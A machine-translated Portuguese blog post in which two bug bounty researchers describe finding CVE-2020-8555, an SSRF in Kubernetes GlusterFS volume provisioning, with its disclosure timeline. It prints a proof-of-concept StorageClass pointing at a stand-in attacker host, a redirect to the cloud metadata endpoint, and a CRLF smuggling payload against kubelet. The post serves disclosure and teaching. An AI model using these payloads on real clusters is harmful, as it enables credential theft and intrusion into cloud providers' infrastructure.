Quando não se trata apenas de vulnerabilidades do Kubernetes...

Observação. trad.: os autores deste artigo falam detalhadamente sobre como conseguiram descobrir a vulnerabilidade CVE-2020–8555 em Kubernetes. Embora inicialmente não parecesse muito perigoso, em combinação com outros fatores a sua criticidade revelou-se máxima para alguns fornecedores de nuvem. Várias organizações recompensaram generosamente os especialistas pelo seu trabalho.

Quando não se trata apenas de vulnerabilidades do Kubernetes...

Quem somos nós

Somos dois pesquisadores de segurança franceses que descobriram em conjunto uma vulnerabilidade no Kubernetes. Nossos nomes são Brice Augras e Christophe Hauquiert, mas em muitas plataformas Bug Bounty somos conhecidos como Reeverzax e Hach respectivamente:

O que aconteceu?

Este artigo é a nossa maneira de compartilhar como um projeto de pesquisa comum se transformou inesperadamente na aventura mais emocionante da vida dos caçadores de insetos (pelo menos por enquanto).

Como você provavelmente sabe, os caçadores de bugs têm alguns recursos notáveis:

  • vivem de pizza e cerveja;
  • eles trabalham quando todos os outros estão dormindo.

Não somos exceção a essas regras: geralmente nos encontramos nos finais de semana e passamos noites sem dormir hackeando. Mas uma dessas noites terminou de uma forma muito inusitada.

Inicialmente íamos nos reunir para discutir a participação em CTF no dia seguinte. Durante uma conversa sobre segurança do Kubernetes em um ambiente de serviço gerenciado, lembramos da antiga ideia do SSRF (Falsificação de solicitação do lado do servidor) e decidi tentar usá-lo como um script de ataque.

Às 11h nos sentamos para fazer nossas pesquisas e fomos dormir cedo, muito satisfeitos com os resultados. Foi por causa dessa pesquisa que encontramos o programa MSRC Bug Bounty e criamos uma exploração de escalonamento de privilégios.

Várias semanas/meses se passaram e nosso resultado inesperado resultou em uma das maiores recompensas da história do Azure Cloud Bug Bounty - além daquela que recebemos do Kubernetes!

Com base em nosso projeto de pesquisa, o Comitê de Segurança de Produto Kubernetes publicou CVE-2020–8555.

Agora gostaria de divulgar ao máximo as informações sobre a vulnerabilidade encontrada. Esperamos que você aprecie a descoberta e compartilhe os detalhes técnicos com outros membros da comunidade infosec!

Então aqui está a nossa história...

Contexto

Para entender melhor o que aconteceu, vamos primeiro ver como o Kubernetes funciona em um ambiente gerenciado em nuvem.

Quando você instancia um cluster Kubernetes em tal ambiente, a camada de gerenciamento normalmente é de responsabilidade do provedor de nuvem:

Quando não se trata apenas de vulnerabilidades do Kubernetes...
A camada de controle está localizada no perímetro do provedor de nuvem, enquanto os nós do Kubernetes estão localizados no perímetro do cliente

Para alocar volumes dinamicamente, um mecanismo é usado para provisioná-los dinamicamente a partir de um back-end de armazenamento externo e compará-los com PVC (reivindicação de volume persistente, ou seja, uma solicitação de volume).

Assim, depois que o PVC é criado e vinculado ao StorageClass no cluster K8s, outras ações para fornecer o volume são assumidas pelo gerenciador do controlador kube/cloud (seu nome exato depende da versão). (Observação. trad.: Já escrevemos mais sobre CCM usando o exemplo de sua implementação para um dos provedores de nuvem aqui.)

Existem vários tipos de provisionadores suportados pelo Kubernetes: a maioria deles está incluída em núcleo orquestrador, enquanto outros são gerenciados por provisionadores adicionais colocados em pods no cluster.

Em nossa pesquisa, focamos no mecanismo interno de provisionamento de volume, ilustrado abaixo:

Quando não se trata apenas de vulnerabilidades do Kubernetes...
Provisionamento dinâmico de volumes usando o provisionador Kubernetes integrado

Resumindo, quando o Kubernetes é implantado em um ambiente gerenciado, o gerenciador do controlador é de responsabilidade do provedor de nuvem, mas a solicitação de criação de volume (número 3 no diagrama acima) sai da rede interna do provedor de nuvem. E é aqui que as coisas ficam realmente interessantes!

Cenário de hacking

Nesta seção, explicaremos como aproveitamos o fluxo de trabalho mencionado acima e acessamos os recursos internos do provedor de serviços em nuvem. Também mostrará como você pode realizar determinadas ações, como obter credenciais internas ou escalar privilégios.

Uma manipulação simples (neste caso, falsificação de solicitação do lado do serviço) ajudou a ir além do ambiente do cliente para clusters de vários provedores de serviços sob K8s gerenciados.

Em nossa pesquisa nos concentramos no provisionador GlusterFS. Apesar de a sequência adicional de ações ser descrita neste contexto, Quobyte, StorageOS e ScaleIO são suscetíveis à mesma vulnerabilidade.

Quando não se trata apenas de vulnerabilidades do Kubernetes...
Abuso do mecanismo de provisionamento de volume dinâmico

Durante a análise da classe de armazenamento GlusterFS no código-fonte do cliente Golang, nós notadoque na primeira solicitação HTTP (3) enviada durante a criação do volume, até o final da URL personalizada no parâmetro resturl é adicionado /volumes.

Decidimos nos livrar desse caminho adicional adicionando # no parâmetro resturl. Aqui está a primeira configuração YAML que usamos para testar uma vulnerabilidade SSRF semi-cega (você pode ler mais sobre SSRF semi-cego ou meio-cego, por exemplo, aqui - Aproximadamente. trad.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Em seguida, usamos o binário para gerenciar remotamente o cluster Kubernetes kubectl. Normalmente, os provedores de nuvem (Azure, Google, AWS, etc.) permitem obter credenciais para uso neste utilitário.

Graças a isso, pude usar meu arquivo “especial”. Kube-controller-manager executou a solicitação HTTP resultante:

kubectl create -f sc-poc.yaml

Quando não se trata apenas de vulnerabilidades do Kubernetes...
A resposta do ponto de vista do invasor

Pouco depois disso, também conseguimos receber uma resposta HTTP do servidor de destino - por meio dos comandos describe pvc ou get events em kubectl. E de fato: este driver padrão do Kubernetes é muito detalhado em seus avisos/mensagens de erro...

Aqui está um exemplo com um link para https://www.google.frdefinir como parâmetro resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Quando não se trata apenas de vulnerabilidades do Kubernetes...

Nesta abordagem, ficamos limitados a consultas como POST HTTP e não foi possível obter o conteúdo do corpo da resposta se o código de retorno fosse 201. Portanto, decidimos realizar pesquisas adicionais e expandir esse cenário de hacking com novas abordagens.

A evolução da nossa pesquisa

  • Cenário avançado nº 1: usar um redirecionamento 302 de um servidor externo para alterar o método HTTP e fornecer uma maneira mais flexível de coletar dados internos.
  • Cenário avançado nº 2: Automatize a verificação de LAN e a descoberta de recursos internos.
  • Cenário avançado nº 3: usando HTTP CRLF + contrabando (“contrabando de solicitação”) para criar solicitações HTTP personalizadas e recuperar dados extraídos dos logs do controlador kube.

Especificações técnicas

  • A pesquisa utilizou o Azure Kubernetes Service (AKS) com o Kubernetes versão 1.12 na região Norte da Europa.
  • Os cenários descritos acima foram executados nas versões mais recentes do Kubernetes, com exceção do terceiro cenário, porque ele precisava do Kubernetes construído com versão Golang ≤ 1.12.
  • Servidor externo do invasor - https://attacker.com.

Cenário avançado nº 1: Redirecionando uma solicitação HTTP POST para GET e recebendo dados confidenciais

O método original foi aprimorado pela configuração do servidor do invasor para retornar 302 Retcódigo HTTPpara converter uma solicitação POST em uma solicitação GET (etapa 4 no diagrama):

Quando não se trata apenas de vulnerabilidades do Kubernetes...

Primeira solicitação (3) vinda do cliente GlusterFS (Controller Manager), possui um tipo POST. Seguindo estes passos conseguimos transformá-lo em um GET:

  • como parâmetro resturl em StorageClass é indicado http://attacker.com/redirect.php.
  • Ponto final https://attacker.com/redirect.php responde com um código de status HTTP 302 com o seguinte cabeçalho de local: http://169.254.169.254. Pode ser qualquer outro recurso interno - neste caso, o link de redirecionamento é usado apenas como exemplo.
  • Por padrão biblioteca net/http Golang redireciona a solicitação e converte o POST em um GET com um código de status 302, resultando em uma solicitação HTTP GET para o recurso de destino.

Para ler o corpo da resposta HTTP, você precisa fazer describe Objeto de PVC:

kubectl describe pvc xxx

Aqui está um exemplo de resposta HTTP no formato JSON que conseguimos receber:

Quando não se trata apenas de vulnerabilidades do Kubernetes...

As capacidades da vulnerabilidade encontrada naquele momento eram limitadas devido aos seguintes pontos:

  • Incapacidade de inserir cabeçalhos HTTP na solicitação de saída.
  • Incapacidade de executar uma solicitação POST com parâmetros no corpo (isso é conveniente para solicitar o valor da chave de uma instância do etcd em execução 2379 porta se HTTP não criptografado for usado).
  • Incapacidade de recuperar o conteúdo do corpo da resposta quando o código de status era 200 e a resposta não tinha um tipo de conteúdo JSON.

Cenário avançado nº 2: verificando a rede local

Este método SSRF meio cego foi então usado para verificar a rede interna do provedor de nuvem e pesquisar vários serviços de escuta (instância de metadados, Kubelet, etcd, etc.) com base nas respostas. controlador kube.

Quando não se trata apenas de vulnerabilidades do Kubernetes...

Primeiro, foram determinadas as portas de escuta padrão dos componentes do Kubernetes (8443, 10250, 10251, etc.) e, em seguida, tivemos que automatizar o processo de verificação.

Vendo que este método de digitalização de recursos é muito específico e não é compatível com scanners clássicos e ferramentas SSRF, decidimos criar nossos próprios trabalhadores em um script bash que automatizam todo o processo.

Por exemplo, para verificar rapidamente o intervalo 172.16.0.0/12 da rede interna, 15 trabalhadores foram lançados em paralelo. O intervalo de IP acima foi selecionado apenas como exemplo e pode estar sujeito a alterações de acordo com o intervalo de IP do seu provedor de serviços específico.

Para verificar um endereço IP e uma porta, você precisa fazer o seguinte:

  • exclua o último StorageClass verificado;
  • remova a reivindicação de volume persistente verificada anteriormente;
  • altere os valores de IP e Porta em sc.yaml;
  • crie um StorageClass com um novo IP e porta;
  • crie um novo PVC;
  • extraia os resultados da verificação usando descrever para PVC.

Cenário avançado nº 3: injeção de CRLF + contrabando de HTTP em versões “antigas” do cluster Kubernetes

Se além disso o provedor oferecesse aos clientes versões antigas do cluster K8s и deu-lhes acesso aos logs do kube-controller-manager, o efeito tornou-se ainda mais significativo.

Na verdade, é muito mais conveniente para um invasor alterar as solicitações HTTP projetadas para obter uma resposta HTTP completa a seu critério.

Quando não se trata apenas de vulnerabilidades do Kubernetes...

Para implementar o último cenário, as seguintes condições tiveram que ser atendidas:

  • O usuário deve ter acesso aos logs do kube-controller-manager (como, por exemplo, no Azure LogInsights).
  • O cluster Kubernetes deve usar uma versão do Golang inferior a 1.12.

Implantamos um ambiente local que simulou a comunicação entre o cliente GlusterFS Go e um servidor de destino falso (abster-nos-emos de publicar o PoC por enquanto).

Foi encontrado vulnerabilidade, afetando versões do Golang inferiores a 1.12 e permitindo que hackers realizem ataques de contrabando de HTTP/CRLF.

Combinando o SSRF meio cego descrito acima juntos com isso, conseguimos enviar solicitações ao nosso gosto, incluindo substituição de cabeçalhos, método HTTP, parâmetros e dados, que o kube-controller-manager então processou.

Aqui está um exemplo de uma “isca” funcional em um parâmetro resturl StorageClass, que implementa um cenário de ataque semelhante:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

O resultado é um erro resposta não solicitada, uma mensagem sobre a qual é registrada nos logs do controlador. Graças à verbosidade habilitada por padrão, o conteúdo da mensagem de resposta HTTP também é salvo lá.

Quando não se trata apenas de vulnerabilidades do Kubernetes...

Esta foi a nossa “isca” mais eficaz no âmbito da prova de conceito.

Usando essa abordagem, fomos capazes de realizar alguns dos seguintes ataques em clusters de vários provedores k8s gerenciados: escalonamento de privilégios com credenciais em instâncias de metadados, Master DoS por meio de solicitações HTTP (não criptografadas) em instâncias mestres do etcd, etc.

Resultado

Na declaração oficial do Kubernetes sobre a vulnerabilidade SSRF que descobrimos, ela foi classificada CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Se considerarmos apenas a vulnerabilidade associada ao perímetro Kubernetes, o vetor de integridade (vetor de integridade) ele se qualifica como nenhum.

No entanto, avaliar as possíveis consequências no contexto de um ambiente de serviços geridos (e esta foi a parte mais interessante da nossa investigação!) levou-nos a reclassificar a vulnerabilidade numa classificação Crítico CVSS10/10 para muitos distribuidores.

Abaixo estão informações adicionais para ajudá-lo a compreender nossas considerações ao avaliar os impactos potenciais em ambientes de nuvem:

Integridade

  • Execute comandos remotamente usando credenciais internas adquiridas.
  • Reproduzindo o cenário acima usando o método IDOR (Insecure Direct Object Reference) com outros recursos encontrados na rede local.

Конфиденциальность

  • Tipo de ataque Movimento lateral graças ao roubo de credenciais de nuvem (por exemplo, API de metadados).
  • Recolha de informação através da verificação da rede local (determinação da versão SSH, versão do servidor HTTP, ...).
  • Colete informações de instância e infraestrutura pesquisando APIs internas, como a API de metadados (http://169.254.169.254,…).
  • Roubar dados de clientes usando credenciais de nuvem.

Disponibilidade

Todos os cenários de exploração relacionados a vetores de ataque em integridade, pode ser usado para ações destrutivas e fazer com que instâncias mestre do perímetro do cliente (ou qualquer outro) fiquem indisponíveis.

Como estávamos em um ambiente K8s gerenciado e avaliando o impacto na integridade, podemos imaginar muitos cenários que poderiam impactar a disponibilidade. Exemplos adicionais incluem corromper o banco de dados etcd ou fazer uma chamada crítica para a API Kubernetes.

Cronologia

  • 6 de dezembro de 2019: Vulnerabilidade relatada ao MSRC Bug Bounty.
  • 3 de janeiro de 2020: um terceiro informou aos desenvolvedores do Kubernetes que estávamos trabalhando em um problema de segurança. E pediu-lhes que considerassem o SSRF como uma vulnerabilidade interna (in-core). Em seguida, fornecemos um relatório geral com detalhes técnicos sobre a origem do problema.
  • 15 de janeiro de 2020: Fornecemos relatórios técnicos e gerais aos desenvolvedores do Kubernetes mediante solicitação (por meio da plataforma HackerOne).
  • 15 de janeiro de 2020: Os desenvolvedores do Kubernetes nos notificaram que a injeção meio cega de SSRF + CRLF para versões anteriores é considerada uma vulnerabilidade interna. Paramos imediatamente de analisar os perímetros de outros prestadores de serviços: a equipe K8s agora estava lidando com a causa raiz.
  • 15 de janeiro de 2020: Recompensa MSRC recebida por meio do HackerOne.
  • 16 de janeiro de 2020: Kubernetes PSC (Comitê de Segurança de Produto) reconheceu a vulnerabilidade e pediu para mantê-la em segredo até meados de março devido ao grande número de vítimas potenciais.
  • 11 de fevereiro de 2020: recompensa VRP do Google recebida.
  • 4 de março de 2020: recompensa do Kubernetes recebida por meio do HackerOne.
  • 15 de março de 2020: Divulgação pública originalmente programada adiada devido à situação do COVID-19.
  • 1º de junho de 2020: Declaração conjunta do Kubernetes + Microsoft sobre a vulnerabilidade.

TL, DR

  • Bebemos cerveja e comemos pizza :)
  • Descobrimos uma vulnerabilidade central no Kubernetes, embora não tivéssemos intenção de fazê-lo.
  • Conduzimos análises adicionais em clusters de diferentes provedores de nuvem e conseguimos aumentar os danos causados ​​pela vulnerabilidade para receber bônus adicionais incríveis.
  • Você encontrará muitos detalhes técnicos neste artigo. Ficaremos felizes em discuti-los com você (Twitter: @ReeverZax & @__hach_).
  • Acontece que todos os tipos de formalidades e relatórios demoraram muito mais do que o esperado.

referências

PS do tradutor

Leia também em nosso blog:

Fonte: habr.com

Adicionar um comentário